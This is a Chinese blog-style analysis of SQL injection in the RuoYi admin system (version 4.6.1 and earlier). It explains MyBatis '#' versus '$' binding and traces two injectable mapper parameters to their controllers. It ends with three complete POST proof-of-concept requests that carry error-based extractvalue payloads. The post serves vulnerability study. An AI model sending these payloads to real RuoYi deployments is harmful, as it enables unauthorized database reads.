若依管理系统是基于SpringBoot
框架开发的,并利用MyBatis
框架进行数据库操作。在RuoYi <=4.6.1版本中后台存在sql注入漏洞,本着对MyBatis框架中sql注入学习的态度,对该漏洞进行了以下分析。
0x1 关于Mybatis
Mybatis是个对jdbc进行简单封装的持久层框架。MyBatis 使用简单的 XML或注解用于配置和原始映射(更多的是以xml方式写入到xml文件中),将接口和 Java 的POJOs(Plain Ordinary Java Objects,普通的 Java对象)映射成数据库中的记录。
0x11 Mybatis框架架构
(1)加载配置:配置来源于两个地方,一处是配置文件,一处是Java代码的注解,将SQL的配置信息加载成为一个个MappedStatement对象(包括了传入参数映射配置、执行的SQL语句、结果映射配置),存储在内存中。
(2)SQL解析:当API接口层接收到调用请求时,会接收到传入SQL的ID和传入对象(可以是Map、JavaBean或者基本数据类型),Mybatis会根据SQL的ID找到对应的MappedStatement,然后根据传入参数对象对MappedStatement进行解析,解析后可以得到最终要执行的SQL语句和参数。
(3)SQL执行:将最终得到的SQL和参数拿到数据库进行执行,得到操作数据库的结果。
(4)结果映射:将操作数据库的结果按照映射的配置进行转换,可以转换成HashMap、JavaBean或者基本数据类型,并将最终结果返回。
0x12 Mybatis配置文件及sql映射
Mybatis的全局配置文件——SqlMapConfig.xml
。
在SqlMapConfig.xml
中配置了dataSource
(数据源)、mappers
(映射器)等,内容如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<environments default="development">
<environment id="development">
<transactionManager type="JDBC" />
<!-- 数据库连接池 -->
<dataSource type="POOLED">
<property name="driver" value="com.mysql.jdbc.driver" />
<property name="url" value="jdbc:mysql://localhost:3306/mybatis?characterEncoding=utf-8" />
<property name="username" value="xx" />
<property name="password" value="xx" />
</dataSource>
</environment>
</environments>
<!-- 加载映射文件 -->
<mappers>
<mapper resource="mybatistet/User.xml" />
</mappers>
</configuration>
其中,加载的映射文件mybatistet/User.xml
中定义了sql语句与po类的映射关系。po类通常与数据库中的数据表相照应。比如定义User类
package mybatis;
public class User {
public int id;
public String name;
public int age;
public String email;
}
举例,根据id查询用户,则在映射文件mybatistet/User.xml
中进行以下配置:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="mybatistest">
</mapper>
<select id="findUserById" parameterType="int" resultType="mybatis.User">
select * from user where id = #{id}
</select>
parameterType
:定义输入到sql中的映射类型,#{id}
表示使用preparedstatement
预处理设置占位符号并将输入变量id传到sql。
resultType
:定义结果映射类型。
其中,在进行sql语句查询是,MyBatis支持两种参数符号,一种是#
,另一种是$
。#
使用预编译向占位符中设置值,可有效防止sql注入。$
使用拼接SQL,也是触发sql注入的关键。
测试:
public class TestMybatis {
public static void main(String[] args) throws Exception{
String resource = "SqlMapConfig.xml";
InputStream inputStream = Resources.getResourceAsStream(resource);
SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
SqlSession sqlSession = sqlSessionFactory.openSession();
User user = sqlSession.selectOne("mybatistest.findUserById", 10);
System.out.println(user);
}
}
以上就是利用Mybatis框架进行sql查询的一些前置知识,下面分析如何在RuoYi中触发sql注入。
0x2 Ruoyi (4.6.1版本) 后台sql注入分析
ruoyi中关于mybatis的相关配置在application.yml
文件中:
由以上配置可知,所有的mapper.xml映射文件在classpath:mapper/**/*Mapper.xml中。因此,有个简单粗暴的方法,遍历所有classpath:mapper/*/Mapper.xml文件,找包含"$
"字符的文件。
于是定位到/resources/mapper/system/SysDeptMapper.xml
文件。
SysDeptMapper.xml
配置文件里内容为:
很明显ancestors
参数存在sql注入,其中完整语句是update sys_dept set status=0 where dept_id in (ancestors的值)
。因此可通过该update操作触发sql注入。那么如何设计请求来触发该update数据操作呢?
通过SysDeptMapper.xml
文件中的<mapper namespace="com.ruoyi.system.mapper.SysDeptMapper">
定位到Dao层,在dao层对应的com.ruoyi.system.mapper.SysDeptMapper
类中找到该方法:
在基于springboot框架中,可通过以下3种方式进行sql操作:
1、业务层调用dao层
2、controller调用Service层间接调用dao层
3、controller直接调用dao层
在RuoYi中,找到在service层的com.ruoyi.system.service.impl.SysDeptServiceImpl
类的updateParentDeptStatus()
方法中可调用到updateDeptStatus(SysDept dept)
方法。
而com.ruoyi.system.service.impl.SysDeptServiceImpl#updateParentDeptStatus
又是通过com.ruoyi.system.service.impl.SysDeptServiceImpl#updateDep
方法调用。
因此最后定位到SysDeptController
的editSave()
方法可触发该调用。
局部调用链如下图:
由此最终利用如下:
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1b3960f0-fd75-4bc5-a130-9e822c5c9e5d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
按照同样的方式也可定位到/resources/mapper/system/SysRoleMapper.xml
文件。
完整的sql语句应该是:
select distinct r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark from sys_role r left join sys_user_role ur on ur.role_id = r.role_id left join sys_user u on u.user_id = ur.user_id left join sys_dept d on u.dept_id = d.dept_id where r.del_flag = '0' ${params.dataScope}
可见${params.dataScope}
能触发sql注入。
按照以上同样的方式,根据SysRoleMapper.xml
文件中的<mapper namespace="com.ruoyi.system.mapper.SysRoleMapper">
定位到com.ruoyi.system.mapper.SysRoleMapper
类的selectRoleList
方法:
然后回溯调用selectRoleList
方法的service,定位到com.ruoyi.system.service.impl.SysRoleServiceImpl#selectRoleList
:
最后查找调用com.ruoyi.system.service.impl.SysRoleServiceImpl#selectRoleList
方法的controller——com.ruoyi.web.controller.system.SysRoleController
,在其中的list()
方法和export()
方法均调用了selectRoleList
方法:
至此可构造如下poc进行sql注入利用:
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=906c97c0-7058-4645-a87a-d15a940f4841
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))
或者利用/export
接口触发sql注入:
POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=906c97c0-7058-4645-a87a-d15a940f4841
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
总结
本文以RuoYi为例学习并整理了基于Mybatis框架的sql注入原理和场景,为高效快速挖掘基于Mybatis框架的sql注入提供一种思路和参考。